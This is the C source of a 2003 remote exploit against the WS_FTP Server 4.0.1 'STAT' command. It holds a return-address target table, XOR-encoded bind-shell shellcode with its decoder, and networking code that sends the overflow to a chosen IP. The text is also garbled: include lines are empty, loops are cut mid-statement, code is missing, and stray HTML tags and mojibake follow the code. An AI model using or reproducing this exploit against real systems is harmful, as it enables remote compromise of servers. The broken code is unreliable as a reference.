/* * http://www.k-otiK.com/exploits/x-ws_ftp.c * * x-ws_ftp.c - x86/win32 WS_FTP FTPD "STAT" command remote * stack buffer overflow exploit * * (C) COPYRIGHT XFOCUS Security Team, 2003 * All Rights Reserved * * ----------------------------------------------------------------------- * Author : eyas * : http://www.xfocus.org * Maintain : XFOCUS Security Team * Version : 1.0 * * Test : Windows 2000 server EN * + WS_FTP Server 4.0.1.EVAL (46006050) * Notes : This vul discover by Dvdman@l33tsecurity.com! * To exploit this vul, you must have a account can login into ws_ftp. * Greets : dvdman and all member of XFOCUS Security Team. * Complie : cl x-ws_ftp.c * Usage : x-ws_ftp.exe <-i ip> <-t type> <-u user> <-p pass> [-l pathlen] [-P port] * [type] * 0 win2k sp4 user32.dll * * Add more targets's jmp esp addr by yourself, * and then pls email a copy to me, thanks. :) * * Date : 2003-10-08 * Revised : * * Revise History: * * ------- start rip from dvdman's exp ----------------- * VULN VERSIONS: <= X2 WS_FTP Server 4.0.1 (1323562169) * VULN COMMANDS: APPE,STOR,STAT,RMD,RNFR,RNTO,AND MORE * -------- rip end ------------------------------------ */ #include #include #include #include #pragma comment(lib,"ws2_32") #define maxlen (0x200-1)//??????????? #define overpoint (0x118+4)//??? #define sc_jmp_addr_offset (0xa4+22)//sc???jmp addr?offset #define mini_path 0xf//???? #define ERR_EXP_OK 0 #define ERR_EXP_CONNECT -1 #define ERR_EXP_FAILED 1 #define version "1.0" //modify it by yourself struct { DWORD dwJMP; char *szDescription; }targets[] = { {0x77E14C29, "win2k sp4 user32.dll"}, },v; //total = 366 (0x16E) bytes (xor with 0x93) unsigned char sc_bind_1981[]= //decoder 22 bytes ->???????sc?? "\xEB\x0F\x5B\x80\x33\x93\x43\x81\x3B\x45\x59\x34\x53\x75\xF4\x74" "\x05\xE8\xEC\xFF\xFF\xFF" //sc_bind_1981 for 2k/xp/2003 by ey4s //speacial version for ws_ftp base on v1.03.10.07 //XOR with 0x93 (367 0x16F bytes) "\x12\x7F\x93\x91\x93\x93\x7A\xA4\x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A0\x48\xA0\x41\x9C\x2D\x83\xA9\x45\xE7\x9B\x52" "\x58\x88\x90\x49\xD3\x78\x7C\xA8\x8C\xE6\x76\xCD\x18\xCD\xB7\x90" "\x4E\xF5\x18\x9F\xD8\x18\xCD\x8F\x90\x4E\x18\x97\x18\x90\x56\x38" "\xCA\x50\x7B\x57\x6D\x6C\x6C\x7A\x28\x50\x3D\x27\xEE\x86\x0B\x58" "\xD1\xE4\x2B\x4F\x4E\x89\xA0\xBE\x87\xC5\x3D\x55\xB8\x2E\xBD\x4D" "\xC4\xE1\x37\xB7\x21\xA1\x93\x9D\xCE\x58\x4D\xE7\xB1\xF0\x5B" //decode end sign "\x45\x59\x34\x53"; unsigned char *szSend[3]; unsigned char szSTAT[0x1000]; int iType; int iPort=21; char *ip=NULL, *pUser=NULL, *pPass=NULL; char user[128],pass[128]; void shell (int sock); void usage(char *p); int SendExploit(int iPathLen); void main(int argc, char **argv) { int i, iPathLen=0, ret; printf( "WS_FTP FTPD remote stack buffer overflow exp v%s\n" "This version can exploit WS_FTP Server 4.0.1.EVAL\n" "Vul discover by Dvdman@l33tsecurity.com\n" "Code by eyas@xfocus.org\n" "http://www.xfocus.net\n" "Create: 2003-10-08\n", version); if(argc < 9) { usage(argv[0]); return; } for(i=1;i=sizeof(targets)/sizeof(v)) ) { usage(argv[0]); printf("[-] Invalid type.\n"); return; } if( (iPathLen>0) && (iPathLen <-t type> <-u user> <-p pass> [-l pathlen] [-P port]\n" "[type]\n", p); for(i=0;i= sizeof(szSTAT)) { printf("[-] stack buffer overflow.\n"); exit(1); } __try { if (WSAStartup(MAKEWORD(1,1), &wsd) != 0) { printf("[-] WSAStartup error:%d\n", WSAGetLastError()); __leave; } s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(s == INVALID_SOCKET) { printf("[-] Create socket failed:%d",GetLastError()); __leave; } sa.sin_family=AF_INET; sa.sin_port=htons(iPort); sa.sin_addr.S_un.S_addr=inet_addr(ip); iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa)); if(iErr == SOCKET_ERROR) { printf("[-] connect to target:21 error:%d\n", GetLastError()); __leave; } printf("[+] connect to %s:%d success.\n", ip, iPort); Sleep(1000); for(i=0;i
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß